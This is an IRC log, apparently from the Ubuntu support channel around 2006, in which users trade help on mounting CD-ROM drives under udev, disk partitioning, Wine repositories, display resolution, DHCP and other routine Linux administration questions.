[03:14] <Frogzoo> ndlovu_: yes that's the problem - most everything uses /tmp
[03:14] <AndiM> truz24: and indeed, given Debian's current management trouble using a ubuntu server install may easily be the better choice after all...
[03:14] <Terradoss> Ladies and gentlemen, the complete lack of response is greatly appreciated. -.-
[03:14] <ndlovu_> Frogzoo, AndiM: fuser -vc /tmp seems to be pretty useful
[03:15] <ndlovu_> Frogzoo: only 2 output at the moment
[03:15] <Frogzoo> terradoss - no problem - don't pay the bill :p
[03:15] <ndlovu_> Frogzoo: gconfd and soffice.bin
[03:15] <graveson> gnarusleo: no way to do that as the whole system hangs , ctrl-alt-f1 etc do not work
[03:16] <AndiM> graveson: then press Alt-SysRq-S at least...
[03:16] <ndlovu_> Frogzoo: thanks for the help though, I think I'll wait until it's overloading again and then see what's accessing tmp
[03:16] <AndiM> graveson: ([K] ill - [S] ync - [U] nmount - [B] oot)
[03:16] <kbrooks> http://www.pledgebank.com/help-more-people
[03:17] <Frogzoo> ndlovu_: yep, sounds like a good plan
[03:17] <intelikey> truz24 ?
[03:18] <rambo3> what do i need to compile a driver . make: *** /lib/modules/2.6.15-18-386/build:  get error
[03:18] <truz24> intelikey, yes, my who command works
[03:18] <truz24> sorry for the delay
[03:18] <intelikey> and 'w' ?
[03:18] <gnomefreak> rambo3: build-essential
[03:18] <truz24> yes, did you expect them not to work?
[03:19] <gnomefreak> rambo3: that gives you gcc and make and stuff ;)
[03:19] <intelikey> truz24 i'm asking because several have expressed that the server install, they did not work.
[03:19] <truz24> AndiM, yeah, the repos seem to be more up to date than debian
[03:19] <truz24> odd
[03:19] <intelikey> and they don't here.
[03:19] <gnomefreak> rambo3: you might also need the restricted mods for your kernel
[03:19] <rambo3> gnomefreak not that one i have them allready
[03:20] <intelikey> so truz24 yeah i kinda expected you to say that yours didn't either...
[03:21] <truz24> so i typed clear; exit and it did put the logut text at the top, so I guess exit is an alias for logout?
[03:21] <truz24> well, maybe not a direct alias, but it calls logout
[03:21] <intelikey> exiting the shell ends the login session.
[03:21] <natroll> truz24: my theory is that once you have no shells running it automatically calls logout
[03:22] <rambo3> natroll , my thought execly . isn t it so?
[03:23] <kwyjibo> hi
[03:23] <kwyjibo> i've been asking all over and nobody will help me
[03:23] <kwyjibo> i jsut get ignored
[03:23] <kwyjibo> i'm running ubuntu and i'm looknig for a console mode multiprotocol instant messenger that is NOT centericq.
[03:23] <rambo3> kwyjibo you are typing in chinese letters
[03:24] <intelikey> natroll and where is the logout command ?
[03:24] <nickrud> kwyjibo: try apt-cache search instant messenger
[03:24] <kwyjibo> i did that
[03:24] <rambo3> typyng alias gives you all alias
[03:25] <kwyjibo> i would not be here if i had not tried that
[03:25] <ubuntu> slt
[03:25] <juhan> does anyone know how to install gnome 2.14 on breezy?
[03:25] <rambo3> kwyjibo ass backports too . maby there is something there , chech freashmeat.net too
[03:26] <_jason> kwyjibo: you aren't being ignored, no one probably knows the answer or they just missed your question
[03:26] <nickrud> kwyjibo: then try looking on sourceforge, there may be some you can compile. We don't know everything :)
[03:26] <ubuntu> try
[03:26] <rambo3> kwyjibo add backports too . maby there is something there , chech freashmeat.net too
[03:26] <natroll> intelikey: ?
[03:26] <kwyjibo> define backports
[03:26] <rambo3> !backports
[03:26] <ubotu> [backports]  Add "deb http://archive.ubuntu.com/ubuntu breezy-backports main universe multiverse restricted" (without the ") to /etc/apt/sources.list.  More info @ https://wiki.ubuntu.com/UbuntuBackports
[03:26] <intelikey> you said it calls logout ?   where is logout natroll ?
[03:26] <intelikey> :)
[03:26] <natroll> intelikey: what do you mean where is it?  what directory?
[03:26] <kwyjibo> ok thanks
[03:27] <natroll> intelikey: or where does the word appear?
[03:27] <graveson> Andi: thanks i will try that
[03:27] <natroll> intelikey: to answer the second, login, then use clear;exit
[03:27] <natroll> at the top there is the single line that says "logout"
[03:27] <gnomefreak> i dont remember seeing multi protical messengers
[03:27] <kwyjibo> gnomefreak: ?
[03:27] <natroll> intelikey: not that it's truly significant
[03:28] <Jonnings> How can i make XMMS handle nordic languages?
[03:28] <natroll> intelikey: although if you have something that will run when the logout event is triggered, if exit doesn't trigger it you could run into issues
[03:28] <natroll> intelikey: it just seems like the easiest way to implement it
[03:29] <intelikey> natroll to call a command generally implies that it is external, right ?      i was wondering where logout lived ?
[03:29] <AndiM> Jonnings: possibly: export LANG=no_NO; xmms     ?
[03:29] <natroll> intelikey: maybe my terminology was incorrect, are we arguing semantics?
[03:29] <Raul654> I recently moved an ubuntu machine to a new office, with a much smaller monitor. It's now telling me the screen resolution (for the log in screen, and I suspect when I log in as well) is too high. Is there a command line utilit where I can lower the resolution?
[03:29] <j0lliyo> what do i do to switch to kde after i downloaded the kde base files?
[03:30] <natroll> Raul654: Ctrl+Alt+(+ or -)
[03:30] <nickrud> Raul654: try sudo dpkg-reconfigure xserver-xorg
[03:30] <natroll> i think
[03:30] <juhan> Raul654: check the xorg.config and change it
[03:30] <GreenCult> hi all
[03:30] <idefix> hi GreenCult
[03:30] <gnomefreak> kwyjibo: ayttm is one not sure if its text or not though
[03:30] <idefix> for some reason my cdrom's aren't mounted... how do I mount them (manually)?
[03:31] <kwyjibo> gnomefreak: it is not console mode
[03:31] <nickrud> j0lliyo: at the login screen, select kde under sessions, then log in
[03:31] <kwyjibo> i am currently researching porn or naim
[03:31] <kwyjibo> ahahaha
[03:31] <kwyjibo> PORK
[03:31] <kwyjibo> not porn
[03:31] <LadyNikon> question..
[03:31] <intelikey> no natroll .   logout is a bash built in.  thus. you can not exit bash and then call logout externally.     exit and logout are both bash built-ins    thus when the shell exits   you are logged out  it doesn't call logout.
[03:31] <j0lliyo> thanks
[03:31] <_jason> kwyjibo: sure
[03:31] <LadyNikon> Is there a doc on admining buzilla in ubuntu?
[03:31] <kwyjibo> i meant pork damnit
[03:31] <Raul654> ok, ctrl-alt-+ seemed to do it. But when I log out, it goes right back
[03:31] <Raul654> how do I make the setting stick?
[03:32] <intelikey> natroll to learn more about that man bash
[03:32] <gnomefreak> kwyjibo: naim is not a multi client its only aim
[03:32] <nickrud> LadyNikon: there's bugzilla-doc , claims to be a comprehensive guide
[03:32] <AndiM> Raul654: why don't you just read what others already told you? ;)
[03:32] <kwyjibo> gnomefreak: :(
[03:32] <juhan> Raul654: go to the /etc/X11/xorg.config open it and in there you can change the settings
[03:33] <Jhair> juhan: xorg.config ?
[03:33] <Jhair> juhan: you mean xorg.conf ?
[03:33] <nickrud> Raul654: you need to change the horizsync & vertrefresh in /etc/X11/xorg.conf ; the dpkg-reconfigure should do that for you
[03:33] <gnomefreak> kwyjibo: pork is only aim and irc i think
[03:33] <juhan> sorry, my bad
[03:33] <kwyjibo> yeh
[03:33] <Raul654> ok
[03:33] <natroll> intelikey: it could (and this is a COULD :D) have code to detect within the exit command when it is the last nested shell and then therefore call the logout code
[03:33] <natroll> intelikey: but i don't know much about the code tbh
[03:33] <Raul654> nickrud - what is the name of the package?
[03:34] <Raul654> X11 and X don't seem to work
[03:34] <nickrud> Raul654: sudo dpkg-reconfigure xserver-xorg
[03:34] <natroll> intelikey: but you're probably right :)
[03:34] <idefix> how do you find out what is what in the /dev dir?
[03:34] <idefix> oh sorry, just man, I guess
[03:37] <andre> hello
[03:37] <intelikey> natroll *getty whitch handels login processes starts your shell when you give it the propper login code. i.e. name and passwd    and waits for the shell to exit.  when the shell exits, it returns to the pre login state.    bash (if you would read the manual) has a startup and shut down sequence that it follows, either logout or exit will close the bash session and thereby reset *getty.    but we are way off topic now.
[03:38] <juhan> Q: I have a laptop with an ATI mobility radeon 9000 IGP but i haven't been able to configure the 3D properly. i think is to do with the drivers but I'm not sure that i can find drivers that support that card properly. Any ideas? fglrx doesn't do it
[03:38] <ankka> hmm, on t 1600x1200 aika raaka resoluutio 1600x1200-nytll..
[03:38] <natroll> intelikey: thanks for the read the manual reference
[03:38] <ankka> hmm, wrong channel
[03:38] <intelikey> lol
[03:38] <truz24> lol
[03:38] <flog> pasta lul
[03:38] <truz24> good stuff
[03:39] <FrdPrefct> question... Ubuntu rocks, but kde (via kubuntu) isn't as tightly integrated as gnome... is that true, or am i missing something?
[03:39] <andre> how do you uninstall packages
[03:39] <intelikey> yo mama
[03:39] <GnarusLeo> how do I approach for formating /dev/sda to have 3 partitions. 2 ext3 and one vfat/nfts? (its a 120gb disk, and I want ext3 to have 60/20, and vfat/ntfs 60)
[03:39] <gnomefreak> andre: sudo apt-get remove package
[03:39] <idefix> normally at startup, are the /etc/fstab commands executed?
[03:39] <AndiM> andre: dpkg -l       dpkg -r <package>
[03:39] <juhan> FrdPrefct: i found the same
[03:39] <intelikey> @ natroll ^  :)
[03:39] <Frogzoo> juhan: have you tried the fglrx driver from the _seveas repo ?
[03:39] <FrdPrefct> juhan: Which is unfortunate...
[03:40] <andre> will it remove all of its files i mean all
[03:40] <natroll> FrdPrefct: I felt the same way, well, at least from the graphical frontend to apt is concerned.
[03:40] <juhan> Frogzoo: i have tried the ones in the main repo
[03:40] <FrdPrefct> GnarusLeo: fdisk them to the 3 partitions... then mkfs.ext3, etc, etc
[03:40] <FrdPrefct> natroll: I don't care about apt... I'm command line...
[03:40] <GnarusLeo> FrdPrefct, how do I fdisk them to 3 partitions?
[03:40] <juhan> but i didn't know about the  _seveas repo
[03:40] <Frogzoo> FrdPrefct: gnome is the stock wm - so it's to be expected gnome is more polished
[03:40] <Frogzoo> !tell juhan about fglrx
[03:41] <gnomefreak> !seveas
[03:41] <ubotu> Seveas has a semi-popular 3rd party repository for several packages. More info (and mirrors) on http://wiki.ubuntu.com/SeveasPackages
[03:41] <intelikey> GnarusLeo  sudo cfdisk /dev/sda
[03:41] <gnomefreak> ^^^juhan
[03:41] <gnomefreak> brb
[03:41] <FrdPrefct> GnarusLeo:  /dev/sda1 /dev/sda2 /dev/sda3
[03:41] <natroll> intelikey: afaik fstab isn't a list of 'commands' but rather a reference for the system, telling it where to mount and with what options
[03:41] <intelikey> natroll ?
[03:41] <andre> second question
[03:41] <natroll> intelikey: but enlightmen me sensei ;)
[03:42] <intelikey> where did that come from ?
[03:42] <natroll> lol, that was idefix not you
[03:42] <biggi_mat> hi. i have ubuntu breezy installed on my computer and now i wanted to manually compile wine and when i tried patching it...well it's patching wine for last 20minutes. any ideas what could that be/mean/..?
[03:42] <natroll> srry, ha!
[03:42] <intelikey> k
[03:42] <nickrud> andre: use purge instead of remove to delete the config files under /etc
[03:42] <andre> what is a good package other than alien that converts rpm to deb packages
[03:42] <natroll> idefix:  afaik fstab isn't a list of 'commands' but rather a reference for the system, telling it where to mount and with what options
[03:42] <andre> ok
[03:42] <natroll> intelikey: but i like givin you crap anyways :)
[03:43] <Frogzoo> natroll: from man fstab " The proper way to read records from fstab is to use the routines getmntent(3)"
[03:43] <Jhair> andre: what's wrong with alien
[03:43] <idefix> natroll, then why aren't my CDrom's mounted now?
[03:43] <intelikey> natroll i thought you were really taking offence at something there....
[03:43] <intelikey> ;/
[03:43] <natroll> intelikey: oh wow i like totally hate you or something j/k ;D
[03:43] <intelikey> idefix  noauto ?
[03:44] <idefix> yes there's that option in the list
[03:44] <natroll> idefix: what intelikey said
[03:44] <j0lliyo> when i installed ubuntu it didn't find any sound... i have this onboard soundcard. how can i detect/load it?
[03:44] <intelikey> na se that didn't even sound sirious natroll  :)
[03:44] <andre> first i know i installed it with kpackage it says its there but it wont show
[03:44] <GnarusLeo> FrdPrefct, ok ... i want a primary of 60gb .. and a extended of 60gb, wich have one 40 and one 20 logical
[03:44] <biggi_mat> j0lliyo, do you have alsa installed and have you tried alsaconf ?
[03:44] <natroll> intelikey: w0rd to my mother
[03:44] <natroll> what does that even mean?
[03:45] <natroll> i have no idea
[03:45] <intelikey> idefix  is there a "noauto" in the line for the cd in /etc/fstab ?
[03:45] <idefix> natrol, sudo cfdisk /dev/sda ?
[03:45] <natroll> idefix: wha?
[03:45] <intelikey> lol
[03:45] <intelikey> you too much dude :)
[03:45] <idefix> intelikey yes
[03:45] <Frogzoo> j0lliyo: lspci & then head to google, with "linux module"
[03:45] <natroll> i'm tired...heheeh
[03:45] <intelikey> idefix k
[03:46] <biggi_mat> hi. i have ubuntu breezy installed on my computer and now i wanted to manually compile wine and when i tried patching it...well it's patching wine for last 20minutes. any ideas what could that be/mean/..?
[03:46] <idefix> intelikey should I change it to auto?
[03:46] <intelikey> idefix udev is running isn't it ?
[03:46] <Frogzoo> biggi_mat: no patch takes 20 mins
[03:46] <idefix> intelikey I don't think it's in the fstab file
[03:46] <andre> what do you guys use to burn cds
[03:46] <Frogzoo> k3b
[03:46] <juhan> andre: gnomebaker
[03:47] <paolob> Hi guys! In my ubuntu breezy I can't switch to the console when I have the gdm login screen. It happens only on one of my 5 ubuntu pc. What could be the reason?
[03:47] <intelikey> idefix    ps -A x | grep udev
[03:47] <Jhair> andre: nautilus
[03:47] <Mwafrica> Anyone aware of a good p2p for Ubuntu..... Im new
[03:47] <idefix>  2605 ?        S<s    0:00 udevd --daemon
[03:47] <idefix>  7241 pts/0    S+     0:00 grep udev
[03:47] <AndiM> biggi_mat: are you talking about patching via patch file or updating via CVS?
[03:47] <intelikey> k
[03:47] <andre> k3b is good
[03:47] <biggi_mat> Frogzoo, that's what i know from other distros too
[03:47] <juhan> Mwafrica: dependes on the network
[03:47] <biggi_mat> AndiM, patch -p1 patch
[03:47] <intelikey> hmm and you are using gnome idefix ?
[03:48] <idefix> intelikey everybody who uses ubuntu uses gnome, right?
[03:48] <Mwafrica> Juhan: i need mp3.. which and my network isnt that fast
[03:48] <juhan> Mwafrica: amule, azureus
[03:48] <andre> how about shrinking,decrypting dvd and burning them
[03:48] <intelikey> no
[03:48] <juhan> andre: try dvdshrink under wine
[03:48] <Frogzoo> biggi_mat: user error?
[03:48] <juhan> andre: i instlled without a problem
[03:48] <intelikey> idefix it is not audio cd you are having mount issue with is it ?
[03:48] <andre> i havent done the wine thing yet
[03:49] <biggi_mat> Frogzoo, ? what error? i'm doing this by the howto on ubuntuforums
[03:49] <idefix> intelikey both my DVD and old CDrom's
[03:49] <andre> i just moved from xp last week
[03:49] <Mwafrica> Juhan: Have you used the two for mp3?
[03:49] <nickrud> gnomefreak: you keep them all running?!?
[03:49] <idefix> intelikey I wasn't able to sell my old CDrom, so now I have 2
[03:49] <andre> so its my first week with linux
[03:49] <gnomefreak> nickrud: not at once
[03:49] <juhan> andre: if you go to winehq they tell you how to do it and have repos for the latest version
[03:49] <azadder> is there a ftp/editor (like dreamweaver) in the synaptic package manager/elsewhere?
[03:49] <nickrud> heh. Must have a small machine :)
[03:49] <gnomefreak> azadder: nvu
[03:49] <juhan> Mwafrica:  you could
[03:50] <gnomefreak> old machine ;)
[03:50] <andre> is that www.winehq
[03:50] <intelikey> idefix k  well try manually mount it.   sudo mount /media/cdrom         and see what happens.
[03:50] <Mwafrica> Juhan: which one is the best?
[03:50] <biggi_mat> any ideas, AndiM , Frogzoo ?
[03:50] <idefix> intelikey mount: special device /dev/hdc does not exist
[03:50] <azadder> thank you gnomefreak
[03:50] <AndiM> biggi_mat: I'd also strongly recommend either using the *well-maintained* WineHQ Ubuntu package or, if required, use Wine CVS. (Wine developer speaking here ;)
[03:50] <juhan> Mwafrica: they are different, one is for bittorent and the other for the emule network
[03:50] <juhan>  Mwafrica: try both
[03:51] <m-00kie> how do you use chinese language with ubuntu/
[03:51] <intelikey> ok.  what version of ubuntu is that idefix ?
[03:51] <gnomefreak> azadder: its in universe repo
[03:51] <juhan>  Mwafrica: it depends on what you are looking for
[03:51] <idefix> shouldn't the /dev/hdc and /hdd be hda and hdb ?
[03:51] <m-00kie> i have entered 'chinese mainland' as my primary language, but i dont get the input box for chinese characters..
[03:51] <azadder> gnomefreak - yea, i got it - thanks
[03:51] <biggi_mat> may I privmsg you AndiM ?
[03:51] <nickrud> m-00kie: that's a known problem, they're working on getting it correct for dapper (the next release)
[03:52] <m-00kie> ugh, so i cant type chinese in this release??
[03:52] <juhan> Mwafrica: if you use kde there was this program called apollon or something similar that connects you to most of the networks at the same time
[03:52] <AndiM> m-00kie: try something like: export LANG=zh_CN.utf8; xcim &
[03:52] <idefix> intelikey I think I run breezy badger
[03:52] <AndiM> m-00kie: (/me chinese wife ;)
[03:52] <Mwafrica> JUhan: Thanks let me search for that
[03:52] <idefix> intelikey when I search for something I see them in the list!
[03:53] <idefix> intelikey why doesn't nautilus list them?
[03:53] <biggi_mat> AndiM, since apt-get doesn't find any of that cvs or hq package...
[03:53] <AndiM> m-00kie: getting chinese input to work is somewhat of a pain in Breezy, but I can tell you that it does work for me
[03:53] <intelikey> idefix what version of ubuntu do "uname -r" to make sure ?    and to answer your question.    the device nomenclature is  first ide master= hda   slave=hdb  second master= hdc  slave=hdd
[03:53] <idefix> intelikey 2.6.12-10-386
[03:53] <intelikey> k
[03:53] <chasmarang> Hi people
[03:54] <marie_> hi all
[03:54] <AndiM> biggi_mat: let me finish your sentence for you: "...I have to enter WineHQ's repository to /etc/apt/sources.list" ;)
[03:54] <intelikey> idefix   sudo modeprobe ide-ce
[03:54] <intelikey> cd
[03:54] <intelikey> ide-cd
[03:54] <servers> how can I login as root on gnome?
[03:54] <biggi_mat> AndiM, uhm, let's see :)
[03:54] <m-00kie> what is xcim?
[03:54] <chasmarang> I keep getting the reading "Unknown key released" in /var/log/messages does anybody know what that means?
[03:54] <marie_> I`m new in ubuntu and I have some problems with my wifi card
[03:55] <snowblink> servers, why would you want to?
[03:55] <_jason> servers: that is not a good idea
[03:55] <AndiM> m-00kie: you know how to use Google?
[03:55] <juhan> marie_: does it work? does it connect?
[03:55] <servers> snowblink cuz when I want to copy paste a file it says that I dont have permissions
[03:55] <m-00kie> heh
[03:55] <marie_> iwconfig tell me that I have the card but I cannot connect to my net
[03:55] <m-00kie> #ubuntu > google! :P
[03:55] <LadyNikon> Is there a doc on admining buzilla in ubuntu?
[03:55] <_jason> ubotu: tell servers about sudo
[03:55] <idefix> intelikey sudo: modeprobe: command not found
[03:55] <marie_> juhan: no that is the problem
[03:55] <juhan> ok
[03:55] <_jason> idefix: you probably want modprobe?
[03:56] <intelikey> let me try that again.      sudo modprobe ide-cd     idefix
[03:56] <_jason> servers: where are you trying to copy to?
[03:56] <paolob> Guy, what about Mark's proposat to deferre Dapper release?
[03:56] <intelikey> sorry i'm tired.
[03:56] <gener21839> Hello, I'm looking for some help installing Wine, I followed the instructions online, but I can't find wine in the repository.
[03:56] <j0lliyo> thanks
[03:56] <juhan> marie_: i had problems until i got something called gtkwifi
[03:56] <PythonLowRacer> hi. i just had a look at the new examples. the video desktop-vnc.ogg has green stirpes in it. i used totem to watch it. With mplayer or vcl it is even worse
[03:56] <marie_> I think I'm using ndisprobe
[03:56] <idefix> intelikey ok, then mount again?
[03:56] <servers> _jason on my flash disk
[03:56] <intelikey> yes
[03:56] <graveson> i am running the installer for ATI and i just cannot see the whole indow
[03:56] <nickrud> LadyNikon: try sudo aptitude install bugzilla-doc && cd /usr/share/doc/bugzilla-doc && ls
[03:56] <AndiM> m-00kie: doh, it was scim, not xcim, I think.
[03:57] <marie_> juhan: I configure it by hands
[03:57] <LadyNikon> nickrud: thanks
[03:57] <GnarusLeo> ok, now Im just very confused :) Im trying to format a 160gb drive (/dev/sda) to three partitions ... 1: (ext3, 60gb) 2:(ext3, 30gb) 3:(nfts, 30gb) ... fdisk just confuses me! This is an external drive
[03:57] <marie_> but nothing happend
[03:57] <intelikey> idefix did the modprobe return without error ?    and did it mount this time ?
[03:57] <_jason> servers: strange, mine get's mounted so that I can copy as the user.  I suppose you can just use sudo though
[03:57] <idefix> intelikey it returned without error, but it didn't mount
[03:57] <juhan> marie_: anything more specific? any error messages?
[03:57] <idefix> intelikey mount: special device /dev/hdc does (still) not exist
[03:58] <servers> _jason how 2 use sudo on graphic shell ;S
[03:58] <AndiM> m-00kie: no, "xcin" or "scim"
[03:58] <AndiM> m-00kie: no, "xcin" or "scim" or "chinput". dammnit, don't remember which one I'm using...
[03:58] <wvelez> hi...i just ran easyubuntu to try out the ati driver for my 9250 card...now it's a lot slower running any 3d games...how can i undo the changes to my video card configuration??? thanks
[03:59] <chasmarang>  I keep getting the reading "Unknown key released" in /var/log/messages do you now what that means?
[03:59] <idefix> intelikey?
[03:59] <_jason> servers: 'gksudo nautilus' would open it up, but make sure you don't mess with important files because you can mess stuff up.  But you should look into setting it up so that it get's mounted correctly (I don't know how)
[03:59] <snowblink> servers, what filesystem is on your flash disk?
[03:59] <idefix> intelikey am I on my own now?
[03:59] <intelikey> no
[03:59] <intelikey> giv me a sec
[03:59] <idefix> intelikey why did they mount in the past and not now?
[03:59] <intelikey> what have you changed ?
[03:59] <idefix> intelikey I never changed anything in the fstab file
[04:00] <intelikey> what have you changed ?
[04:00] <juhan> marie_: i don't know why but my card didn't connect even though i had everything working until i got that program
[04:00] <idefix> intelikey never!
[04:00] <idefix> intelikey never changed anything
[04:00] <intelikey> it doesn't have to be in fstab.
[04:00] <r0bin> Well Crossover Office has to be the shittest bastardisation of wine I've ever seen since WineX
[04:00] <idefix> intelikey I think I mounted fd0
[04:00] <idefix> intelikey could that be it?
[04:00] <AndiM> r0bin: huh? how so?
[04:00] <juhan> marie_: sorry i cannot be of more help
[04:00] <kbrooks> LOL https://lists.ubuntu.com/archives/ubuntu-devel/2006-March/016226.html
[04:00] <intelikey> no.  that's just floppy disk drive 0
[04:01] <kbrooks> has the gpl really been breached here? seriously.
[04:01] <r0bin> AndiM:  Claims 95% of program compatibility? Can't even get the demo to run for longer than about 30 seconds before it crashes. =D
[04:01] <chasmarang> intelikey: I keep getting the reading "Unknown key released" in /var/log/messages does anybody know what that means?
[04:01] <kbrooks> because replies say the source is available
[04:01] <simon_> get to gnome desktop manager login but keyboard appears disabled, mouse is ok
[04:01] <r0bin> I'm sitting here staring at four Crossover office windows which are just blank grey windows :D
[04:01] <AndiM> r0bin: 95% compatibility to what? the selected set of office related apps or windows programs as a whole?
[04:01] <Raul654> one more question -- how do I renew my dhcp lease?
[04:01] <snowblink> marie_, what card do you have?
[04:01] <Raul654> presumably ifconfig eth0 --something--
[04:01] <intelikey> chasmarang not i.
[04:02] <nickrud> kbrooks: sudo aptitude install linux-source-2.6.12 , there you are
[04:02] <r0bin> AndiM:  I don't know, seeing as I can't get the sodding program to run _ITSELF_ let alone run anything with it
[04:02] <chasmarang> thanks who should i ask
[04:02] <idefix> intelikey: are you a professional linux user?
[04:02] <biggi_mat> is this mirror added in the wrong way >> deb http://wine.sourceforge.net/apt/breezy/ binary/  ?
[04:02] <kbrooks> nickrud, my point: people are wasting their time
[04:02] <intelikey> idefix   do you have a /.dev  directory ?    use   ls /.dev  to see
[04:02] <biggi_mat> since apt still can't find winehq
[04:02] <r0bin> I also love the healthy dollop of "Please wait" dialogs I get before it crashes. Ahhh reminds me of windows :D
[04:03] <intelikey> professional ?   get paid for it.....  hah  no
[04:03] <AndiM> r0bin: I'm not sure whether you have any idea how complicated Wine is... (not that that helps much)
[04:03] <kbrooks> biggi_mat, god damn itdont add these repos.
[04:03] <idefix> intelikey ls: /.dev: No such file or directory
[04:03] <nickrud> kbrooks: you wanna see arguments over gpl & the like, read the debian-legal
[04:03] <oscar_> jaja
[04:03] <kbrooks> biggi_mat, comment them out
[04:03] <intelikey> k
[04:03] <gnomefreak> kbrooks: language please
[04:03] <AndiM> r0bin: is that a clean system? possibly something less than "normal" happening here...
[04:03] <kbrooks> gnomefreak, yes sir
[04:03] <kbrooks> gnomefreak, are you an oop? if not BE an op
[04:03] <kbrooks> op*
[04:03] <r0bin> AndiM:  Clean today infact
[04:03] <chasmarang> intelikey: who should i ask
[04:04] <intelikey> idefix this is one of those places where 'udev' hacks me off.
[04:04] <wvelez> hi...i just ran easyubuntu to try out the ati driver for my 9250 card...now it's a lot slower running any 3d games...how can i undo the changes to my video card configuration??? thanks
[04:04] <AndiM> r0bin: standard ubuntu, I assume?
[04:04] <biggi_mat> kbrooks, excuse me ?
[04:04] <oscar_> ke wua?
[04:04] <r0bin> AndiM:  dapper
[04:04] <intelikey> chasmarang nickrud or one of the staff
[04:04] <Raul654> How do I renew my dhcp lease? I assume it is: >ifconfig eth0 '
[04:04] <Raul654> something
[04:04] <idefix> intelikey what does 'udev' do?
[04:05] <wvelez> Raul654: dhclient
[04:05] <AndiM> r0bin: that might be an issue. you may try Codeweavers support, they're said to be above-average...
[04:05] <chasmarang> nickrud: I keep getting the reading "Unknown key released" in /var/log/messages do you now what that means?
[04:05] <Raul654> wvelez - thanks
[04:05] <wvelez> Raul654: np
[04:05] <AndiM> r0bin: (disclaimer: I interned at Codeweavers a loooong time ago ;)
[04:05] <nickrud> chasmarang: there should be some other messages, something about setkeycodes ?
[04:05] <chasmarang> intelikey: thanks who should i ask
[04:05] <chasmarang> yes
[04:05] <intelikey> it handels loading and unloading of device inodes.   well symlinks mostly.
[04:06] <chasmarang> nickrud: Use 'setkeycodes e02a <keycode>' to make it known.
[04:06] <intelikey> idefix you know about tab completion ?
[04:06] <intelikey> using the tab key ?
[04:06] <nickrud> chasmarang: you're pressing keys on your multimedia keyboard that are not defined ; you need to define them using setkeycodes. I know of it, but not much about it
[04:07] <r0bin> AndiM: well it's just a demo, and to be honest this experience has put me off buying it :P
[04:07] <gener21839> Hello, I'm looking for some help installing Wine, I followed the instructions online, but I can't find wine in the repository.
[04:07] <chasmarang> nickrud: Thanks I appreciate the help - The only thing is that I'm not pressing those keys <>[o___o] <>
[04:07] <AndiM> r0bin: sounds fair, but it'd be useful to let them know about the problem.
[04:08] <idefix> intelikey no
[04:08] <nickrud> chasmarang: heh.
[04:08] <idefix> intelikey oh right you enter a couple of letters press tab and it completes, right?
[04:08] <intelikey> idefix  ls /dev/ide      and tell me how many entries there are.  if less than 10
[04:08] <AndiM> gener21839: which repository? WineHQ, right?
[04:08] <intelikey> right
[04:09] <CanadianSnow> where is the best place to ask about pocket PC's and putting linux on them
[04:09] <idefix> ls: /dev/ide: No such file or directory
[04:09] <intelikey> no ide
[04:09] <idefix> intelikey
[04:09] <asterisk99> I have a PHP installation question... I want to learn PHP on Apache2 --- there are 20 PHP entries in Synaptic... which one do I really only need?
[04:09] <intelikey> man udev is like without a backup contengent
[04:09] <idefix> intelikey ls /dev/ide + tab yields nothing
[04:09] <intelikey> k
[04:09] <AndiM> CanadianSnow: channel #handhelds.org
[04:10] <CanadianSnow> ty
[04:10] <chasmarang> nickrud: I cut up a usb cord and I have an astable circuit attched to the white and red wire - do you know what I can send to make it respond
[04:11] <nickrud> chasmarang: not a clue
[04:11] <chasmarang> thanks man
[04:11] <intelikey> well i don't like nor use udev, so i'm stabbing around in the  dark there idefix,  let me dump you in someone else's lap.    sorry i cant do any more.  but to define the problem.  the device inode for your cdrom seems to be missing from /dev/
[04:11] <graveson> how do i go about to make sure that reference of the default install of 5.10 kernel which 363 is all removed.the reason that i am creating the packages for ATI and the only packages created are all 363 not 686-smp
[04:12] <CanadianSnow> is there a version of ubuntu that will go in/on a pocket pc?
[04:12] <kwyjibo> i have a poop question. i have installed toilet1.0.2 but ~/.flush does not seem to be configured correctly, so toilet is always overflowing and dumping a mess across my screen
[04:12] <idefix> intelikey what does 'contengent' mean?
[04:12] <Healot> not yet, CanadianSnow
[04:12] <nickrud> intelikey: .dev is now in /dev/.static/dev
[04:12] <intelikey> nickrud ty
[04:12] <CanadianSnow> is there like an expectation date for one or anything?
[04:13] <intelikey> idefix do a    sudo mount /dev/.static/dev/hdc /media/cdrom   and tell me what it says
[04:13] <nickrud> kwyjibo: try apt-get install plunger snake , one of those might work
[04:13] <chasmarang> nickrud: what does non-contiguous mean?
[04:13] <Healot> CanadianSnow: , monolithic kernels like the ubuntu's need a trim down before going micro
[04:13] <nickrud> chasmarang: not lined up in sequence
[04:13] <idefix> intelikey mount: you must specify the filesystem type
[04:14] <chasmarang> thats 2.5% of my files
[04:14] <intelikey> you sure it is  secondary slave  ?
[04:14] <chasmarang> oh well
[04:14] <Healot> btw. there are a lot of micro versions of gnu/linux out there :)
[04:14] <nickrud> chasmarang: not a problem then, that's pretty good
[04:14] <idefix> intelikey no, how can I be sure of this?
[04:14] <intelikey> idefix  ^  ?
[04:14] <chasmarang> thanks man
[04:14] <intelikey> k we hunt them
[04:14] <idefix> intelikey there was an original CDrom and I once bought a DVD rom
[04:15] <idefix> intelikey should I remove the first CDrom from the system?
[04:15] <intelikey> idefix do a  ls /media/cdrom
[04:15] <chasmarang> well i'll check you guys later - thanks again
[04:15] <idefix> intelikey done
[04:15] <intelikey> it returned ?
[04:15] <idefix> intelikey no errors nothing at all
[04:15] <intelikey> k
[04:16] <intelikey> idefix   sudo mount /dev/.static/dev/hdb /media/cdrom
[04:16] <idefix> intelikey mount: you must specify the filesystem type
[04:16] <intelikey> idefix   sudo mount /dev/.static/dev/hdd /media/cdrom
[04:16] <idefix> udf,iso9660 ?
[04:16] <intelikey> if there is a disk there we'll find it soon
[04:17] <intelikey> is that what it said ?
[04:17] <idefix> intelikey mount: you must specify the filesystem type
[04:17] <idefix> intelikey no, I thought, should I add this to the mount command...
[04:17] <idefix> since it's in the fstab file
[04:18] <intelikey> idefix you didn't add any hardware ?    no major changes to anything ?
[04:18] <CanadianSnow> so, why is there nobody in #handhelds.org?
[04:18] <idefix> inetlikey yes I added a game to learn japanese characters
[04:18] <idefix> intelikey yes I added a game to learn japanese characters
[04:18] <AndiM> CanadianSnow: because you hit a bad time? usually there is some moderate activity...
[04:19] <AndiM> CanadianSnow: or just visit www.handhelds.org
[04:19] <juhan> Q: how can i have audio & video with someone in the msn network? gaim doesn't support it
[04:19] <idefix> intelikey but I don't know how to uninstall it...
[04:20] <idefix> is that possible in linux? uninstalling programs?
[04:20] <CanadianSnow> ok thx
